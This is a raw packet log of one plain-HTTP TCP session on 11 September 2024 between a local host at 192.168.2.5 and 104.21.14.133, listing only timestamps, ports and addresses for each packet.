Sep 11, 2024 18:23:49.678683043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678683996 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678687096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678693056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678697109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678702116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678709030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678713083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678718090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678721905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678734064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678734064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678767920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678772926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678776979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678781986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678796053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678829908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678829908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.679656029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679662943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679666996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679672003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679677010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679682970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679718018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.679753065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.679754019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679758072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679764032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679769993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679775000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679817915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.679817915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.679817915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.679831982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679836035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679840088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679845095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679872036 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.679887056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679892063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679898024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679902077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679907084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679915905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679920912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679924965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.679943085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.679965973 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680003881 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680013895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680017948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680023909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680030107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680033922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680038929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680044889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680048943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680054903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680061102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680063963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680064917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680068970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680075884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680079937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680084944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680089951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680100918 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680134058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680134058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680716991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680723906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680756092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680762053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680769920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680788994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680799007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680804014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680829048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680835009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680840015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680844069 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680845022 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680845022 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680845976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680854082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680860043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.680883884 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680915117 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.680999041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.681004047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.681010008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.681118965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.683285952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.683291912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.683352947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.683365107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.683367014 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.683372974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.683378935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.683398008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.683432102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.688108921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688113928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688119888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688124895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688128948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688158989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688167095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688172102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688177109 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.688177109 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.688179016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688183069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.688199043 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.688261986 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.732846022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732851028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732857943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732861042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732866049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732873917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732886076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732894897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732899904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732903004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732908964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732913971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732917070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732922077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732928991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.732965946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.732965946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.732965946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.732965946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734200954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734209061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734214067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734225988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734236002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734241009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734246016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734262943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734268904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734272957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734285116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734289885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734293938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734297991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734344006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734344006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734344006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734344006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734375954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734380960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734385967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734395981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734400034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734404087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734411001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734415054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734424114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734430075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734433889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734436989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734437943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734445095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734448910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734522104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734522104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734522104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734523058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734528065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734532118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734536886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734540939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734555006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734560966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734565020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734569073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734570980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734576941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.734627008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.734627008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.928296089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928313017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928319931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928332090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928335905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928339958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928347111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928350925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928523064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.928523064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.928596973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928601980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928606033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928617001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928621054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928626060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928631067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928636074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928639889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928713083 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.928713083 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.928731918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928736925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928740978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928751945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928755045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928760052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928782940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928786993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928791046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928797007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928801060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928805113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928809881 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.928811073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928816080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928821087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928827047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928831100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928834915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928841114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928845882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928860903 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.928879976 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.928911924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.928926945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928931952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928977966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928989887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928992987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.928997040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929003000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929007053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929012060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929024935 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.929138899 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.929138899 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.929332972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929337978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929342985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929352999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929357052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929363012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.929601908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.929601908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.930921078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.930924892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.930929899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.930939913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.930943966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.930948019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.930954933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.930958033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.930963039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931003094 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931010008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931016922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931021929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931025982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931036949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931041002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931045055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931051016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931055069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931060076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931071043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931073904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931104898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931104898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931116104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931154013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931158066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931163073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931174040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931176901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931181908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931231022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931235075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931238890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931250095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931255102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931315899 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931315899 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931315899 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931317091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931315899 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931320906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931334019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931339025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931344032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931348085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931354046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931358099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931360960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931363106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931370020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931375027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931379080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931391954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931396008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931408882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931408882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931430101 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931576014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931581020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931586027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931608915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931613922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931617975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931624889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931628942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931632042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931632996 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931637049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931641102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931646109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931655884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931658983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931663036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931668997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931673050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931745052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931755066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931761980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931773901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931776047 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931776047 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931776047 CEST	49710	80	192.168.2.5	104.21.14.133
